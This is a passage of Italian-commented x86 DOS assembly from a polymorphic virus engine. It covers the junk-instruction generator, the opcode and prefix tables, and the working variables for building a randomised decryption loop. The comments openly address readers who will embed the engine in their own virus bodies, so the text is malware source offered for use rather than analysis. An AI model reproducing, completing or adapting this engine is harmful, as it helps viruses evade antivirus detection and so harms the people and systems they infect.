; mentre le ultime due sono l'int 11h (get enviroment) e int 12h (get avaiable

; memory in kbs).

; inters          db     019h,054h,00bh,018h,011h,012h

 

just_ints:

       call    sorta_random_07

       cmp     al,05                   ; 5 chiamate generabili (AL tra 0 e 4)

       ja      just_ints

 

       mov     si,offset inters        ; offset tabella chiamate int.

       add     si,ax                   ; casualizza

       cmp     al,04                   ; le prime 4 sono INT21

       mov     ah,byte ptr ds:[si]     ; prendi nella tabellina

       jae     not_21call              ; le ultime due non sono fatte all’INT21

       mov     al,0b4h                 ; opcode di di INT21

       stosw                           ; mette opcode+funzione in buffer

       mov     ah,21h

not_21call:

       mov     al,0cdh                 ; opcode chiamata INT

       stosw                           ; mette opcode+funzione in buffer

       jmp     garbage_loop

 

;----------------------------------------------------------------------------------

; just_onebyters crea possibili istruzioni da un byte

 

just_onebyters:

       call    sorta_random            ;

       and     ax,0fh                  ; AX tra 0 e 15

       cmp     al,6                    ; mettiamo un int call

       ja      just_ints               ; passa se AL = 0,1,2,3,4,5,6

 

       mov     si,offset obyters       ; carica offset tabella di istruzioni 

       add     si,ax                   ; prendi opcode scelto (da 0 a 6)

       mov     al,byte ptr ds:[si]     ; AL punta all’inizio tabella+ casuale tra 0 e 6

       stosb                           ; lo scrive nel buffer

 

       cmp     al,0ebh                 ; 0eh=opcode di JMP. Abbiamo bisogno

       jne     garbage_loop            ; di un offset random

 

       call    sorta_random

       and     ax,0fh                  ; in AX casuale  tra 0 e 15

       inc     al                      ; ora tra 1 e 16

       stosb                           ; scrive offset del JMP che coincide

                                       ; con CX (bytes saltati)

 

       push    cx                      ; preserva CX

       mov     cx,ax                   ; in CX casuale tra 1 e 16

 

krap_bytes:

       call    sorta_random            ; prende bytes a casaccio

       stosb                           ; e li scrive. Questi verranno saltati

       loop    krap_bytes              ; max. 16 volte perché il JMP è short 

       pop     cx                      ; ripristina CX   

 

garbage_loop:

       pop     si

       dec     bx                      ; decrementa contatore num. di istruzioni garbage

 

       jz      exit_garbage            ; loop principale del garbage

       jmp     garbage

exit_garbage:

       ret

 

;----------------------------------------------------------------------------------

; possibili istruzioni da un byte generabili

obyters         db      90h,0ebh,0f8h,0f9h,0fch,0fdh,0ebh

; nop, jmp short, clc, stc, cld, std, jmp short (di nuovo :P e il + usato)

;----------------------------------------------------------------------------------

; la generazione di garbage avviene con due tabelle. un'istruzione verra'

; presa dalla prima (base_ocs + n, dove n e' il numero casuale) e poi dalla

; seconda verra' preso il rispettivo prefisso (base_prefix + n). se questo

; e' zero allora vuol dire che e' un'istruzione da un byte (vedi ad esempio

; inc e dec), mentre per le altre il prefisso verra' direttamente copiato in

; mem. a quella base ovviamente verra' aggiunto la mask per il dato registro

; scelto

base_ocs        db     040h,048h,0f8h,0c0h,0c8h,0d0h,0d8h,0d0h,0d8h,0c0h,0c8h

                db     0e0h,0e8h,0c0h,0e8h,0f0h,0d0h,0d8h,0c8h,0e0h,0f8h,0b8h

                db     0e8h,0c0h,0f0h,0c8h,0e0h,0f8h,0d0h,0d8h,0c0h

 

base_prefix     db     000h,000h,0d1h,0d3h,0d3h,0d1h,0d1h,0f7h,0f7h,0d1h,0d1h

                db     0d1h,0d1h,083h,083h,083h,083h,083h,083h,083h,083h,000h

                db     081h,081h,081h,081h,081h,081h,081h,081h,0f7h

;----------------------------------------------------------------------------------

; possibili chiamate ad interrupts generabili. le prime quattro sono da

; interpretarsi come funzioni (quindi byte da mettere in AH) all'int 21h,

; mentre le ultime due sono l'int 11h (get enviroment) e int 12h (get avaiable

; memory in kbs).

inters          db     019h,054h,00bh,018h,011h,012h

;----------------------------------------------------------------------------------

 

; tutto quello oltre a questa riga sono solo variabili temporanee usate dalla

; poly, quindi non ha senso includerle con il body del vostro virus ma tenere

; solo abbastanza spazio in mem

poly_mem_start:

 

given_si        dw       00h            ; pointer a cosa encrittare

lenght          dw       00h            ; lunghezza da encrittare

pointer_ass     dw       00h            ; dove viene assegnato il pointer

initial_key     dw       00h            ; chiave iniziale

 

decr_begin      dw       00h            ; dove comincia la crittazione

counter_ass     dw       00h            ; dove viene assegnato il counter

;----------------------------------------------------------------------------------

; queste tre variabili contengono 0ffh se il rispettivo registro non e'

; stato ancora settato, mentre contengono il codice in bit del registro

; scelto se ne e' gia' stato uno

already_pnt     db      0ffh            ; registro come pointer

already_cnt     db      0ffh            ; registro come counter

already_key     db      0ffh            ; registro come key

;----------------------------------------------------------------------------------

; queste contengono il numero di operazioni di un dato tipo gia' fatte.

change_key      db       00h            ; operazione di cambio chiave

dec_cnt_nr      db       00h            ; operazione di decremento counter

inc_pnt_nr      db       00h            ; operazione di incremento pointer

math_opdone     db       00h            ; operazione matematica di crittazione

 

; queste due variabili sono usate per segnalare, quando e' il caso, l'ordine

; nel quale e' stato creato il decryption loop. Infatti se uno o due incrementi

; al puntatore avvengono prima dell'operazione matematica allora dovremo stare

; attenti a cominciare anche l'encrypting uno o due byte piu' tardi. Lo stesso

; discorso vale per la chiave: se questa e' stata modificata una volta prima

; dell'operazione matematica allora anche nell'encryptor dovremo modificarla

; prima di usarla.

pnt_sba         db       00h            ; numero di incs prima di math op

pre_kdn         db       00h            ; segnala se key cambiata prima

;----------------------------------------------------------------------------------

 

poly_mem_end:

 

; Grandezza totale variabili della poly in memoria (quindi se usata nel

; vostro virus non ha senso mettere anche queste nel file, ma vi basta

; allocare abbastanza mem)

poly_mem        =       (offset poly_mem_end - offset poly_mem_start)